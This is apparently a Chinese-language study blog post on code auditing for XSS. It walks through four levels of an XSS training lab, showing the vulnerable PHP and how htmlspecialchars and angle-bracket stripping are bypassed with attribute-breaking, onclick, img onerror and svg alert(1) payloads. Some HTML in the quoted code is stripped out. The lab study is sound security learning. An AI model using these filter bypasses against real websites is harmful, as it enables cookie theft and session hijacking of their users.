代码审计学习XSS

定义

跨站脚本攻击,为不和css一样写混淆,故跨站脚本呢攻击缩写为XSS。XSS是一种Web应用程序的安全漏洞,主要是由于Web应用程序对用户的输入过滤不足产生的。恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中的Web里面的恶意脚本代码,攻击者便可以对受害者采取Cookie资料窃取,会话劫持,钓鱼欺骗等各种攻击

Less-1

 

ini_set("display_errors", 0);

$str = $_GET["name"];

echo "

欢迎用户".$str."

"
; ?>

可以看到源代码,里面$str的值是get形式的但是后面没有对get里面的name进行过滤,导致了xss注入

用基本的XSS注入

Less-2

在这里插入图片描述

这里我们需要进行绕过需要闭合前面的“,让value变成value=""

分析源代码

 

ini_set("display_errors", 0);

$str = $_GET["keyword"];

echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str.'">
'
; ?>

这里的源代码也可以看出它是用的get请求,但是这样用里一个过滤

.htmlspecialchars($str)

这个过滤可以把预定义的值转换为HTML实体,就是<不能用了

这里我们还可以用JavaScript的事件来进行弹窗

" onclick=alert(1)这样需要点击一下输入框<br>
这里后面用//进行注释也可以通过

less-3

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."
"
; ?>

这里和上面差不了太多,只是这里输出是的value进行的转义导致keyword没法接收到<>

所以这样我们要用到JavaScript事件

'onclick=alert(1)//

这里我们用单引号进行闭合

less-4

直接分析代码

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?>

这里新写入了一个新的函数

str_replace(”>","",$str)
这里的意思是将>于号进行转为空,在加上.htmlspecialchars($str)这样 

"> <img Src=x OnError=alert(1)> 

">javascript:alert(1)">bmjoker

"><svg x=" " Onclick=alert(1)>

">
                    
                    

你可能感兴趣的:(笔记,xss,web安全,安全)